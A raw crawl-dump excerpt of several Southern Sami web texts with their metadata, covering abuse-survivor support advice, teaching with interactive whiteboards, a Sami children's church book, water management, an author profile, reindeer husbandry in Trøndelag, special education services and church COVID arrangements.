lïjhkh delvieh. Gosse doesth jïjtjesadth jiehtedh datne leah seksuelleligke irhkesovveme, dellie easkah håajsoeh jïh buektehth guhkiebasse bïesedh buerie jieliemasse.\nSKULTIEH IRHKEDÆJJESE, IJ LEAH GUJHT DOV SKALTA\nDam maam dutnjan darjoeji, dïhte irhkedæjjan skalta jïh gaajhke dïedte lea dan. Maanese aelhkie jïjtjemse aelkedh laejhtedh jïh ussjedidh dam maam jïjtje jaahka gåarhmede darjoeji. Stoere-olmetjinie gujht maehtebe skaltam vedtedh dïsse gie skaltam galka guedtedh. Irhkedæjja dïhte, jïh numhtie luejhtebe jïjtjemh. Ij leah badth aelhkie, men joekoen daerpies.\nAELLIEH SKAAMASJEDTIEH\nGosse leah skaamam sarteme gïese galka, dle sagke aelhkebe skaameste bïesedh. Ibie edtjh mijjieh skaamasjadtedh, mijjieh nuekies skaamasjadteme. Nåakebe lea ahte guhkiem åvtelen buektehte skaamam reakta luejhtedh. Muvhth haarjanimmine buektiehtieh, jïjtsasse jiehtieh: ij leah badth mov mestie skaamesjidh.\nGAAVNH MUVHTEM GÏESE JAAHKAH JÏH GIE MAAHTA DATNEM VIEHKIEHTIDH\nSoptsesth mubpine olmetjinie jallh jeenjebigujmie dan bïjre. Naa vaenesh mah guhkiebasse biesieh barre sjeavehtsvoetine, gïeh bååktjesem tjeakolde guedtieh. Gaavnh muvhtem gïese leajhtedh, gïese jaahkah jïh maahta viehkiehtidh. Måadtesh mijjijste libie hijven raerie-burrieh dåarjoejarngine gaavneme, muvhth jis buerie viehkiem dovne fuelhkeste jallh guejmijste. Pryövh jïjtjedh dåaktarinie govlesadtedh, jallh jeatjah dåakterem ohtsh jis daerpies. Dïhte alme vihkele gumhtie rïektes såjhtoem åadtjoeh, dovne skïemtjebeetnegh\/ pensjovnem\nBAAJH JÏJTJEMDH BÅÅKTJESEM DAMTEDH JALLH SIRRIEH, MÅERIEH JÏH JEATJAH VAEJVIEH BÅETEDH\nDov badth reakta bååktjesem jïh vaejviem damtedh. Jis jïjtjemdh baajh dejtie utnedh, dle badth aaj guarkah mestie dah båetieh, jïh dle badth gaavnehth mannasinie dah annje desnie. Vaejvieh dle ann-annetje majkoeh.\nBARKH DAEJNIE MAN VARKE JÏJTJE HÅAJSOEH\nDatne bööremes mïelh man jeenjem gïerth jïh maam daarpesjh gosse aalkah daej aamhtesigujmie barkedh. Mijjieh dååjrehtamme ij leah daate man varkes barkoe, ij edtjh gænnah fuehpiedidh. Muvhth vaedtsieh raeriestæjjan terapeuten luvnie ikth våhkosne, muvhth sijhtieh boelhkem tjarke barkedh jïh lïegkedieh guhkiem dam gaskem, mubpide jis institusjovne-årrome aevhkine. Stuvrh jïjtjedh såjhtoem.\nAELLIEH HÅHKOEM GAERVEHTH VUESTIE-BÏEGKEN\nEah nåake biejjieh dallegh nahkh. Gosse sjeavehts-voetem leah laahpeme, hijven viehkiehtæjjam gaavneme jïh såjhtose bïeseme, dle vuajnah vuestie-bïegken aaj tjoerh muvhtene vaedtsedh jïh geajnoe bueriebasse annje guhkie. Dellie dam dan joekoen vihkele håhkosne håajsodh guhkebem barkedh. Juktie buerie jieleme dïhte gusnie akt avtene. Mijjieh mïelebe!\nDAESNIE MAAHTA VIEHKIEM OHTSEDH\nDÅARJOEJARNGH\nDåarjoejarngh seksuelle irhkemen vuestie lea faaleldahke gåabph gaajhkesh biesieh båetedh. Dejtie maahtah govlehtidh ihkie jeatjah faaleldahke dov, ij dåaktere gænnah daarpesjh datnem dahka tjaeliehtidh. Dejnie jarngine bïhkemdæjjajgujmie gaavnesjh gïeh mielieh man bïjre soptsesth jïh dah raeriestieh datnem maam dejnie darjodh.\nFAASTEDÅAKTERE\nDåaktere maahta soptsestimmieguejmine årrodh, jïh jis daerpies dle datnem vijriebasse tjaelehte soptsestallemasse psykolåågen gåajka. Dannasinie vihkele dåaktarasse soptsestidh mejnie datne vaajveminie.\nPOLITIJE\nPolitijese maahtah irhkeme-aamhtesem bæjhkoehtidh. Dah mieriedieh mah gelkieh aamhtesem aelkedh goerehtalledh jallh mah lea båarastovveme. Jis leah seksuelle irhkemem dååjrehtamme maahtah politijese bæjkoehtidh jïh dah jis datnem vijriebasse viehkiehtieh dagkeren sæjjan gusnie dah dåastoehtieh olmetjh gïeh irhkemem ååjrehtamme. Politijen aaj telefovne mïsse maahtah ringkedh soptsestidh jis bïlleminie gie akt irhkemen nuelesne.\nSÅJHTERH\nDPS såjhtoem faala maam viehkiem daarpesjh; polikliniske soptsestallemh, dåehkieterapijh jïh årromem jïjjem biejjiem. Jis byjjes viehkiesysteemeste galka viehkiem åadtjodh dle tjuara dåaktere datnem dahka tjaeliehtidh.","id":"","dump":"CC-MAIN-2021-04","url":"http:\/\/aarjel.utsattmann.no\/utsatt-til-utsatt\/","date":"2021-01-17T13:03:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703512342.19\/warc\/CC-MAIN-20210117112618-20210117142618-00459.warc.gz","language":"sma","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 1.0000038146972656}","num_words":504,"character_repetition_ratio":0.033,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Interaktijve taavlam ööhpehtimmesne nåhtede\nIh edtjh:\n- baajedh dam interaktijve taavlam lissiehtahkine årrodh dejnie ööhpehtimmievuekine datne joe nåhtedh\n- vienhtedh dïhte interaktijve taavla jïjtsistie ööhpehtimmiem buerebe dorj\n- dam interaktijve taavlam nåhtadidh goh akte sïejhme taavla\n- tæjmoeh soejkesjidh aktine rïekte åehpiedehtemehaamojne\nDatne edtjh:\n- baajedh dam interaktijve taavlam våaroeminie årrodh aave orre pedagogeles vuekide\n- taavlah soejkesjidh mah leah klaeriedihks, murreds jïh eadtjoestehtieh\n- baajedh learohkidie taavlam nåhtadidh\n- jienebh ovmessie meedijh taavlesne nåhtadidh (tjoeje, guvvie, filme, animasjovnh)\n- soejkesjidh ööhpehtimmie maahta gellielaakan sjïdtedh, baajedh learohkidie nuepiem åadtjodh tæjmojde stuvredh\n- \"virtuelle\" vihtiestimmievierhtieh taavlesne nåhtadidh, bene \"tjïelke\" vihtiestimmievierhtiejgujmie lissiehtidh gosse gåarede\nRune Mathisen daam læstoem aalkovistie tjaaleme","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/ovttas.no\/sma\/artihkal_interaktijve-taavlam-oohpehtimmesne-nahtede","date":"2021-01-21T11:01:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703524743.61\/warc\/CC-MAIN-20210121101406-20210121131406-00491.warc.gz","language":"sma","language_score":0.9999917746,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 0.999991774559021}","num_words":98,"character_repetition_ratio":0.116,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.041,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Gærja mij sjeahta abpe fualhkan, edtja vadtesinie sjïdtedh åarjelsaemien maanide gïeh njieljien jaepien båeries. Gærja joekoen tjaebpies, Tore Johnsen, Saemien gærhkoeraerien beajjetje åvtehke jeahta.\nSaemien åålmegebeajjan dellie gærjan tjaelije Anne-Grethe Leine Bientie Tråantese båata. Ellen Sara Reiten Bientie gie guvvide dorjeme, aaj Tråantese båata gosse almetjh voestes aejkien åadtjoeh dam orre gærjam vuejnedh.\n–Joekoen geerjene sjidtim, gosse daam tjaelije barkoem åadtjoejim. Dihte vuesehte almetjh munnjan jeehkin, edtjim daam buektiehtidh. Geerve orreme jih saemien gïelesne tjaeledh, jeatjah-laakan tjuara daroen giïeleste ussjedidh Anne-Grethe jeahta.\nSaemien gærhkoeraerie gærjam dongkeme mij åarjelsaemien raedtesne dorjesovveme.\nSaemien vuekie jïh saernieh bijpielistie.\nMijjen gærhkoe-gærja \/ Vår kirkebok mijjem baaja åarjelsaemien maanaj gïeline, kultuvrine jïh jielieminie åahpenidh – jïh Laarine.\nÅadtjobe lohkedh guktie Laara åådtje saernieh Jeesusen jïh gærhkoen bïjre govledh. Saernieh mah aejlies gærjesne tjaalasovveme, jïh åarjelsaemien åssjalommesh jïh vuekie gærjesne ektene leah. Naemhtie Laara altese slïekten, eatnemen, dajven, jaahkoen jïh åssjalommesi lïhkebe båata.\nTjaebpies jïh hïerves guvvieh buerie damtoem nænnoestieh gosse gærjam lohkebe. Gåabpah gïelide, åarjelsaemien jïh daaroen gïelem, maehtebe lohkedh.\nÅarjelsaemieh gærjam eevtjeme\nÅarjelsaemien åålmegeraerie åarjelsaemien dajvesne, idtji sïjhth naan daaroe-gïelen gærjam jarkoestidh åarjelsaemien gïelese. Åålmegeraerie stilli gærjam darjodh mij åarjelsaemien åssjalommesi jïh kultuvren mietie.\nOrre saemien gærja.\nDaate gærja mubpijste gærhkoe-gærjijste jeatjhlaakan. Saerniejgujmie boejhkelieh mij vihkele lea. Numhtie lea saemien vuekie jïh kultuvre. Gærjan nomme \"Mijjen gærhkoe-gærja\" jïh ij \"mov\", juktie sijhtieh vuesiehtidh ektievoete vihkele.\nLaara fuelhkine jïh åålmeginie aktene. Slïekte, kultuvre, dajve jïh gærhkoe eah leah sinsitneste juakasovveme. Ektesne hov leah. Eatneme jïh almetje aktene.\n– Aerebe eelkin gærjine barkedh, idtjimh ussjedh gærja dan hijven edtji sjïdtedh, Tore Johnsen jeahta. – Dïhte mij edtji gærjetje maanide sjïdtedh, gærja abpe fualhkan sjïdteme. Desnie aaj åarjelsaemien teologije maanide. Garmerdibie gosse daam gærjam maehtebe vuesiehtidh. Gaajhkesidie gïeh dejnie barkeme, gijhtebe, Tore Johnsen jeahta.\nVuesiehtimmie gellie sijjine.\nSaemien åålmegebiejjien gærja-vuesiehtimmie Nidarosen stoere-gærhkosne jïh bïspegaertienisnie. Saemien Åålmege vuesiehtimmiem åtna Plassjesne, Aarportesne jïh Raanesne.","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/www.nrk.no\/sapmi\/voestemes-aarjelsaemien-maanaj-gaerhkoe-gaerja-1.12188499","date":"2021-01-24T12:49:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703548716.53\/warc\/CC-MAIN-20210124111006-20210124141006-00571.warc.gz","language":"sma","language_score":1.0000027418,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000027418136597}","num_words":301,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.12,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate lea dah vihkielommes fåantoeh man åvteste nåake tjaetsiekvaliteete:\n- dearjoe goh såvrome, fer jïjnje gjødsel jïh geerjehtimmie byjresekrodtijste\n- fysiske jarkelimmieh goh tjaetsiestuvrehtimmie, heerredimmieh goh geajnoeh jïh ruevtieraajroeh, jïh veajhtadimmie jïh jeatjah råajvarimmieh mah tjaetsiem stuvrieh kanaaline\n- biologeles tvevtsiedimmieh goh ammes guelieh, rïpmeme bïepmehtimmieguelieh jïh loesedihkie\nLaavenjostoe tjaetsiereeremen bïjre\nTjaetsie galka gåabph sæjhta. Dah jeanatjommes tjaetsieåerieh jienebh tjïelti jallh fylhki tjïrrh gelkieh, jïh såemies mijjen kraannalaantigujmie juekebe. Dannasinie tjuara tjaetsiem reeredh voenges, regijovnale jïh voernges åejvieladtjigujmie ektine. Daesnie aaj mijjen kraannalaantigujmie laavenjostebe Sveerje, Såevmie jïh Russlaante.\nNöörje lea luhkieakte tjaetsieregijovnine juakeme. Akte fylhkentjïelte fïerhtene regijovnesne lea tjaetsieregijovnetjåadtjoehtæjja. Jaepien 2015 edtja regijovnale tjaetsiereeremesoejkesjh vihties råajvarimmiejgujmie nænnoestidh. Daate lea akte bielie sïejhtesjimmeste EU'en mierienjoelkedasseste tjaatsan.\nFylhkenålman barkoe\nByjresedepartemeente lea tjåadtjoehtæjja sïejhtesjimmien åvteste EU'en mierienjoelkedasseste tjaatsan. Fylhkenålma lea Byjresedepartemeenten tjirkije regijovnaale daltesisnie, jïh edtja\n- daajroem skååffedh tjaetsjien kvaliteeten bïjre jïh vuarjasjimmiem vedtedh byjresen kvaliteeten bïjre\n- vååksjedidh jïh goerehtalledh dåeriesmoerh\n- byjresefaageles raeriestæjjine årrodh jeatjah sjyöhtehke åejvieladtjide\nTjaetsie tsevtseme sjædta joekehtslaakan. Juktie raajnes tjaetsiem utnedh daelie jïh båetijen aejkien, dle daate tjuara akte bielie årrodh vuarjasjimmeste gaajhkine faagesuerkine.","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/www.fylkesmannen.no\/sma\/oslo-og-viken\/byjrese-jih-klijma\/tjaetsie\/","date":"2021-01-21T18:37:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703527224.75\/warc\/CC-MAIN-20210121163356-20210121193356-00163.warc.gz","language":"sma","language_score":0.9999930859,"language_script":"Latn","minhash_cluster_size":38,"top_langs":"{\"sma_Latn_score\": 0.999993085861206}","num_words":171,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.152,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hilma Dunfjeld Mølnvik\nAnn-Helén Laestadius akte saemien tjaelije gie daaroen gielesne tjaala. Dïhte aaj journalistine barka.5\nAnn-Helén Gironisnie reakasovvi jaepien 1971. Daelie Solnesne årroeminie, Stuehkien lïhke.7\nDan voestes gærja lij SMS Sopperoste mij 2007 bæjhkoehti. Dejnie gærjine aktem romaane-gaahtjemem vitni. Gaahtjemisnie edtji soptsestidh guktie lea noere saemine daan biejjien årrodh.9\nSMS Sopperoste nïejten bijre man nomme Agnese. Dïhte 13-jaepien båeries jïh Solnesne årroeminie. Agnesen tjidtjie saemie jïh aehtjebe svïenske.11\nIj åejviealmetje Agnese saemien maanabaeleste lïereme, mohte dïhte tjidtjien båeries gærjah gaavneme jïh sueleden jïjtje aalkeme saemien lïeredh.13\nGoh gellie 13-jaepien båeries nïejth, Agnese aalka baerniej bïjre ussjedidh. Faahketji baernie Sopperoste man nomme Hinte, bïevnesem dïsse seedtie. Dah aelkieh sinsitnine tjaeledh.15\nAgnese åtna geerve göökte kultuvri gaskoeh jieledh. Gosse Solnesesne, gaajhkesh Agnesem vuejnieh goh dïhte \"eksotiske\" saemie. Mohte gosse Sopperon gåajkoe båata, domtoe goh ij leah nuekies saemie.17\nGærjan teemah leah noere gieriesvoete, identiteete, lolleske årrodh, maadtoe jïh nïekedassh. Daate gærja vihkele dan åvteste ij gååvnesh dan gellie gærjah gusnie saemien noerh maehtieh sijjen jielemen jïh domtesi bïjre lohkedh.19\nAnn-Helén golme vielie gærjah seamma åejviealmetjen bïjre tjaaleme. Barre voestes gærja saemien gïelese jarkoestamme.21\nJaepien 2016 Ann-Helén Laestadius Sveerjen vihkielommes litteratuvresjïelem, Augustpriset, åadtjoeji noeregærjan åvteste man nomme Tio över ett.23\nDatne naan Ann-Helénen gærjijste lohkeme?25\nFoto\/ Myndir\/ Asseq\/ Valokuva\/ Guvvieh\/ Nuotraukos\/ Photo:\nS1: ©Rabensjogren.se\nS4: ©Ann-Helén Laestadius\nS6: Martí8888 - commons.wikimedia.org\nS8+20+24: Hilma Dunfjeld Mølnvik\nS10: Saemiensijte.no\nS12+18: Anita Dunfjeld Aagård\nS14: Snorlaus.no\nS16: Esanks.no\nS22: Augustpriset - Youtube.com","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/atlantbib.org\/da\/node\/1588","date":"2021-01-19T15:28:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703519395.23\/warc\/CC-MAIN-20210119135001-20210119165001-00379.warc.gz","language":"sma","language_score":0.999807179,"language_script":"Latn","minhash_cluster_size":89,"top_langs":"{\"sma_Latn_score\": 0.9998071789741516}","num_words":232,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.194,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daan beajjetje båatsoe Trööndelagesne lea illedahke histovrijistie tïjje doekoe, ektiedamme daajbaaletje evtiedimmine siebriedahkesne.\nGorredimmie båatsoedajvijste edtja, daajbaaletje giehtelimsvuekiejgujmie ektine, gorredidh båatsoe lea ekologeles, ekonomeles jïh kulturelle monnehke jieleme.\nAaj båetijen aejkien boelvide!\nNasjonaale ulmie\nBåatsoepolitihken våarome lea göökte jïjtjeraarehke tsegkieh; jielemepolitihke jïh aalkoealmetji reaktah\nEkonomeles, ekologeles jïh kulturelle monnehke båatsose sjïehteladtedh lea dan åvteste joekoen vihkeles ihke nöörjen åejvieladtjh edtjieh sijjen åeliedimmieh saemien årroejidie illedh.\nUlmieh akten ekonomeles, ekologeles jïh kulturelle monnehkevoeten bïjre leah ektesne viedteldihkie; Ekologeles monnehkevoete våaromem vadta ekonomeles monnehkevoetese, jïh ektesne ekologeles jïh ekonomeles monnehkevoete nuepiem vedtieh kulturelle monnehkevoetem gorredidh jïh evtiedidh. (gaaltije: Regjeringen.no)\nDaajbaaletje barkoevuekieh båatsosne leah hijven leekedimmie- jïh tjöönghkemegiedtieh, nænnoes krievvie jïh daajbaaletje leekedimmievuekieh, men aaj åtnoe motovrevuajastahkijste goh lopmeskovtere jïh helikoptere.\nReaktavåarome lea læjhkan seamma goh don baelien Lappekodisille juhti; «Aalteren tïjjen åtnoe». Men daelie daajbaaletje hammosne.\nDaanbien gåatomedajvh bovtsese 29 tjïeltine Trööndelagen tjïeltijste. Såemies tjïelth ajve smaave areaalh utnieh, mearan jeatjah tjïeltine mahte abpe miehtjiedajve gåatome bovtsese. Men jalhts jieleme «lea bodtjehke», dan aaj såemies haestemh.\nDaan beajjetje haestemh\nBåatsoe tjuara iktesth fleksijbele årrodh jïh jïjtjemse jarkelamme mierietsiehkieh sjïehtedidh.\n- Klijmajarkelimmieh jïh sjïdtije juvreveahkah dam aerpievuekien barkoevuekiem haestieh jïh jarkelieh.\n- Maarhkedetsiehkie bovtsenbearkose, jïh syjhtedasse jïh tjiehpiesvoete jielemigujmie nierhkedh mah leah båatsose ektiedamme leah aaj akte bielie dehtie ellies båatsoste.\nStööremes haesteme lea læjhkan båatsoedajvide gorredidh naemhtie guktie annje maahta bovtsigujmie gïehtelidh. Giehpiedimmie areaalijste bigkemen gaavhtan jïh jeatjah åtnoe areaaleste, sturremh jïh gaahtjeme miehtjiedajven bïjre jeatjah utnijedåehkijste leah meatan jielemem behtjiedidh.\nTjïelth jïh dah mah leah veeljesovveme almetji åvteste åejvieråållam utnieh «gæmhposne\".\nBåatsoedajvh mah jeatjah åtnose vaaltasuvvieh leah ihkuven aajkan teehpesovveme. Ij gåessie maahta orre gåatomem bovtsese sjugniedidh.\nBåatsoe lea jearohke stoerre gåatome-areaalijster\nLijresne abpe 2902 kvadraatekilomeeterh (km2) leah tjïelkestamme goh bovtsegåatome, naakede mij lea seamma goh 91 proseenth tjïelten tjåenghkies areaaleste. Snåase lea eevre minngesne, 2201 km2 (94 proseenth). Dejstie tjïeltijste mah båatsoem sijjen raasti sisnjeli utnieh, Midtre Gauldal unnemes låhkoem åtna, 5 proseenth tjïelten ållesth areaaleste (101 km2).\nNaakede båatsoeareaaleste joekoen stoerre aarvoem åtna. Dah leah sjïere aarvoedajvh bovtsese. Sjïere aarvoedajvh leah juhtemegeajnoe, skïeredahkelaante, suehpedslaante, vihkeles årromedajvh (giesie), jïh dajvh gusnie mïerhkesjimmiegiedtieh, raarhkoegiedtieh jïh leekedimsgiedtieh. Båatsoen juhtemegeajnoeh sjïere vaarjelimmiem utnieh båatsoelaaken § 22 mietie.\nUnnemesgåatomh leah akten jaepieboelhken gåatome mij sïjten bovtsetaalem gaertjede, jïh vihkeles våarome juktie sïjten bijjemes bovtsetaalem vihtiestidh. Gaajhkide båatsoesïjtide Trööndelagesne daelviegåatome, jïh joekoen seenhte daelviegåatome (njoktjen – voerhtjen) lea unnemesfaktovre bovtsen jaepiesyklusisnie.\nSaemien båatsoe Nöörjesne lea juakasovveme govhte geografeles båatsoedajvine. Göökte daejstie dajvijste leah Trööndelagesne;\n- • Noerhte-Trööndelagen båatsoedajve\n- • Åarjel-Trööndelagen\/ Hedmarhken båatsoedajve\nFïereguhte daejstie lea juakasovveme båatsoesïjtine. Naakenh dejstie båatsoesïjtijste Trööndelagesne leah vihth juakasovveme gööktine jallh jieniebinie sïjtine.\nFïereguhten båatsoesïjten sisnjelen jienebh båatsoefuelhkieh ektievoetesne gïehtelieh. Sïjte lea dovne geografeles ektievoete jïh barkoeektievoete. Fïerhten fuelhkien lea låhkoe reaktijste ektiedamme båatsose båatsoesïjten sisnjelen, jïh gohtjesåvva sïjtebielie. (noerhtesaemien gïelesne jïh båatsoelaakesne gohtjesåvva siidaandel). Fïerhten sïjtebielien sisnjelen jienebh båatsoeburrieh.\nDejstie ovrehte 335 almetjijstie, mah dejtie 69 sïjtebielide Trööndelagen båatsosne govlesuvvieh (aaj Svahken sïjte Hedmarhkesne), gaskem 240 jïh 250 båatsoeburrieh. Aerviedimmien mietie dah dïedtem utnieh medtie 100 jaepiebarkoej åvteste, ryöktesth ektiedamme dan praktihkeles båatsose (gaaltije: Laanteburriedirektoraate 2019).\nGöökte stuerebe leekedimssïelth leah ryöktesth ektiedamme båatsose; LiVilt Lijren tjïeltesne jïh Stensaas reinslakteri Rørosen tjïeltesne. Tjåanghkan daah sïelth medtie 75 barkijh fasseldieh. Lissine såemies unnebe fuelhkieleekedimmie- jïh jåarhkeevtiedimmiesïelth. Båatsoe aaj såemies lissiehtamme fasseldimmiem vadta maasjina- jïh skovhtesuerkesne.\nLeekedimsveahka dejstie göökte båatsoedajvijste Trööndelagesne (aaj Svahken sïjte Hedmarhkesne) lij båatsoejaepien 2018-2019 medtie 340 tonn, desnie aaj privaate niestieh meatan. Daan veahkan aarvoe lea gaskem 25 jïh 30 mill. kråvnah..\nLissine jïjtjehke bearkoeproduksjovnese såemies båatsoesaemieh saemien vætnojne jïh turismine gïehtelieh. Såemies saemien institusjovnh, vuesiehtimmien gaavhtan Saemien Sïjte Snåasesne, leah gellielaakan jearohke aktede båatsoste mij eadtjohkelaakan juhtieminie.\nMijjieh 13 prosenth Nöörjen ållesth bovtsetaaleste mijjen göökte båatsoedajvine gaavnebe. Ållesth ovrehte 28 000 bovtsh gïjrekrievvesne suehpeden åvtelen.\nLeekedimsveahka kilovisnie lea ånnetji vielie goh 20 prosenth laanten tjåenghkies bovtsenbearkoeproduksjovneste. Jeatjah baakoejgujmie vielie bearkoem åadtjobe fïerhten aalesbovtsen åvteste Trööndelagesne goh dejnie jeanatjommesh jeatjah båatsoedajvine. Leekedimsveahkah aaj jeenjemasth hijven jïh kvaliteete lea joekoen hijven. Daan baelien maarhkede bovtsenbearkose aaj joekoen hijven, jïh dan åvteste bearkoeåasa båatsoebårran aktene histovrijes jolle daltesisnie.\nDaate nuepieh vadta hijven ekonomijese båatsosne Trööndelagesne, jalhts hævvi jeerehtsh dovne båatsoesïjti gaskem jïh sisnjeli.\nJaapan 2018 laanteburriedirektoraaten taalh vuesiehtieh gaskemedtien maaksoe barkoen åvteste jïh jïjtsekapitaale fïerhten jaepiebarkoen åvteste lij 158 000 kråvnah båatsose ållesth. Noerhte- Trööndelagen jïh Åarjel-Trööndelagen\/Hedmarhken båatsoedajvide maaksoe fïereguhtese lij 356 000 jïh 367 000 kråvnah.\nBovtsetaale Trööndelagesne lea hijvenlaakan sjïehtedamme dan ekologeles monnehkevoetese, mij lea akte dejstie stoerre fåantojste man åvteste båatsoe Trööndelagesne dan hijven taalh åådtje. Jeenjemasth hijven gïehtelimsvuekieh jïh hijven krievvie- jïh leekedimsstruktuvre dajvesne.\nGïjre - gïjre-giesie – giesie - tjahktje-giesie – tjahktje - tjahktje-daelvie - daelvie - gïjre-daelvie,\n- Bovtse jïh båatsoe daamtajommes jaepiesyklusem dåeriedieh jïh daelvie-, gïjre-, suehpede-, giesie- jïh tjaktjegåatomedajvi gaskem jåhta. Trööndelagesne bovtse jeenjemasth jïjtje jåhta\/rahtja, dovne dej ovmessie boelhkegåatomedajvi sisnjeli jïh dej gaskem. Såemies sïjtine stoerre gåhkoeh, joekoen gaskem bïevledahken gåatomedajvh jïh daelvien gåatomedajvh. Daesnie båatsoeburrieh bovtside tjöönghkieh jïh dejgujmie juhtieh vihties juhtemegeajnoej mietie.\n- Miesieh mïerhkelguvvieh giesege.\n- Leekedimmie dorjesåvva tjaktjege, åajvahkommes golken\/gålkoen raejeste (skïeredahken mænngan) jïh tjaktje\/tjaktjedaelvie\/daelvie doekoe. Vearelde jïh daelhkie muenieh gåessie sjeahta\n- Raeffie jïh seadtoesvoete jïh vaenie sturremh båatsoegåatomedajvine leah eevre daerpies jis bovtse edtja dajvesne tråjjadidh. Geerve bovtsem tjabrehtidh gåatodh jallh juhtedh dajvi sïjse mejtie tuhtjie isveligke jallh eah leah iemie. Daesnie reaksjovne daamtaj sjædta dïhte sprijnie jallh haasene gaajhken haaran..\nBåatsoen haestemh\nGoh datne leah lohkeme båatsoe Trööndelagesne leah dovne bodtjehke jïh monnehke. Men jieleme lea ahkedh deadtoven nuelesne. Dovne hæhtjoebigkemistie, bïegkefaamoste jallh sjïehteladtemistie fealadæmman miehtjiesdajvine – goh laategh, tuvrebaalkah jallh skovterelaajroeh. Men aaj juvrh leah akte ahkedh sjïdtije haesteme båatsose.","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/spark.adobe.com\/page\/t2UNza9RbqCXR\/","date":"2021-03-05T07:19:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178370239.72\/warc\/CC-MAIN-20210305060756-20210305090756-00298.warc.gz","language":"sma","language_score":0.9999976158,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.999997615814209}","num_words":858,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.136,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Statped akte staateles sjïerepedagogeles dïenesjevedtije, jïh akte bielie lïerehtimmiesuerkeste.\nStatped edtja viehkiehtidh guktie maanah, noerh jïh geerve almetjh sjïere lïerehtimmiedaerpiesvoetigujmie nuepiem åadtjoeh eadtjohkelaakan meatan årrodh lïerehtimmesne, barkosne jïh siebriedahkejieliedisnie.\nDïenesjh vadtasuvvieh våaroemisnie maanagïertelaakeste jïh ööhpehtimmielaakeste. Dïenesjh geerve almetjidie vadtasuvvieh våaroemisnie ööhpehtimmielaakeste § 4A-2. Dïenesjh Statpedeste eah leah vïedteldahkesne laaken mietie, men akte faalenasse mij dåarjojne vadtasåvva dejtie dïenesjidie mejtie tjïelte jïh fylhkentjïelte vedtieh.\nSaemien sjïerepedagogeles dåarjoe (SEAD)\nSEAD dïedtem åtna dïenesji åvteste saemien utniejidie abpe laantesne. SEAD dïenesjh vadta indivijde- jïh systeemedaltesisnie noerhtesaemien, julevsaemien, åarjelsaemien jïh nöörjen gïelesne Statpeden faagesuerkiej sisnjeli.\nDïenesji våarome lea daajroe saemien gïelen jïh kultuvren bïjre dejnie sjïerepedagogeles bijjiemaahtojne ektine. SEAD evtede jïh bïhkede guktie edtja dejtie saemiengïelen sjïerepedagogeles learoevierhtide jïh goerehtallemematerijellem nuhtjedh.","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/www.statped.no\/samisk-spesialpedagogisk-stotte\/sead\/Statped-akte-bielie-lierehtimmiesuerkeste\/","date":"2021-03-07T05:19:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178376144.64\/warc\/CC-MAIN-20210307044328-20210307074328-00030.warc.gz","language":"sma","language_score":1.0,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0}","num_words":116,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.164,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gærhkoe ræhpas dan jïjnje goh gåarede\nDaelie åålmegh jïjnjh dej barkojste jåerhkieh jïh gyrhkesjimmiem heevehtieh, ovmessie sjïehtedimmiejgujmie. Ibie veeljh voestes iereste gyrhkesjimmide jallh jeatjah barkoeh orrijidh bene jeatjahtehtebe. Vuesiehtimmien gaavhtan jïjnjh åålmegh faelieh digitaale gyrhkesjimmide jïh bööneh.\nSeamma tïjjen goh mijjen åålmegh rïhpestimmiem tjåadtjoehtieh dan jïjnje goh gåarede, mijjieh eensilaakan Folkhälsomyndigheten bïhkedassh fulkebe.\nDah öörnemh jïh gyrhkesjimmieh mah fysisken tjïrrehtieh öörnebe dïedteles vuekiem goh gåarede. Gaskem jeatjah vaenie goltelæjjah åadtjoeh sijjesne årrodh. Mijjen digitaale gyrhkesjimmide leah gaajhkesh dovnesh buerie båeteme.\nOhtsedh åålmegem\nJis ih daejrieh mij åålmegidie dov maahtah dam aelhkieslaakan gaavnedh gosse dov adressine 